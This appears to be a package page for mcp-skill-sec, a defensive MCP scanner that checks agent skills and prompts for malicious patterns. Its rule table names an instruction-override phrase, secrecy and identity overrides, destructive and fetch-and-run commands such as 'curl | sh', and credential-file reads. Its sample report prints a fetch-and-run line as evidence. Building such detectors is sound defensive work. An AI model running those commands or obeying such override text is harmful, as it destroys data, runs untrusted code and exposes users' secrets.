mcp-skill-sec
A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.
Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.
What it scans for (rules R1–R8)
| Rule | Pattern |
|---|---|
| R1 | Prompt injection / instruction hijack (ignore previous instructions, secrecy directives, identity overrides) |
| R2 | Data exfiltration intent (send/post/email contents to a URL, log theft) |
| R3 | Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings) |
| R4 | Dangerous commands (rm -rf /, curl | sh, fork bombs, raw device writes) |
| R5 | Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars) |
| R6 | Untrusted external fetches (fetch-and-run, non-PyPI installs) |
| R7 | Credential access (reading ~/.ssh, .aws/credentials, .env) |
| R8 | Privilege escalation (sudo -s, setuid, adding to sudo group) |
Each finding carries a severity (critical/high/medium/low), a line number,
and the matching evidence line. The overall verdict is PASS only when
there are no critical/high findings and every medium finding is benign.
Tools
audit_text(text, filename)— audit a string (a skill you were pasted, a system prompt you didn't write).audit_skill_file(path)— audit aSKILL.md/AGENTS.md/CLAUDE.mdon disk, line-numbered evidence.audit_directory(path, pattern)— audit a whole downloaded skills collection; returns per-file verdicts + a summary.rule_list()— dump the rule catalog.
Install & run
pip install mcp
mcp install mcp_server.py --name skill-sec # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.py
Claude Desktop / agent config
{
"mcpServers": {
"skill-sec": {
"command": "python3",
"args": ["/absolute/path/to/mcp_server.py"]
}
}
}
Example
skill-sec: /tmp/downloaded-skill/SKILL.md
verdict : FLAG
counts : critical 1, high 2, medium 1, low 0
R3 [critical] line 11: api_key = "sk-live-…"
R3 [high] line 14: password = "hunter2"
R4 [critical] line 22: curl https://x/y.sh | sh
action : remove the literal secrets, drop the fetch-and-run, re-audit
License & provenance
MIT. Written by sudo-ai-git. This is a standalone security/verification
tool; it encodes no proprietary method. It is the MCP expression of the
skill-sec agent skill (same rules, callable as a server instead of a skill).
Official MCP Registry metadata
mcp-name: io.github.sudo-ai-git/mcp-skill-sec
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file mcp_skill_sec-1.0.0.tar.gz.
File metadata
- Download URL: mcp_skill_sec-1.0.0.tar.gz
- Upload date:
- Size: 7.3 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via:
twine/7.0.0 CPython/3.12.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
500a312e0e6121b1a26b55a6e658ec8fc378a13b4260314337ddbed6da99e6ed
|
|
| MD5 |
e5a1d1b471edc612af8498698a6edb4b
|
|
| BLAKE2b-256 |
76f08f8dc99085156fd6539f33512407b6327422974a43b17578f74fd9581adc
|
File details
Details for the file mcp_skill_sec-1.0.0-py3-none-any.whl.
File metadata
- Download URL: mcp_skill_sec-1.0.0-py3-none-any.whl
- Upload date:
- Size: 6.4 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via:
twine/7.0.0 CPython/3.12.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
bdd9af5633ee859f9972f8357d677aeb970dbcfae593325e3784cb21e2dd3481
|
|
| MD5 |
94e1fa6a06db9bd20d20128adf66f728
|
|
| BLAKE2b-256 |
28234f6e3dad733ee94779d26dd045ac4380250c84bf3c7ec7da23d710d97629
|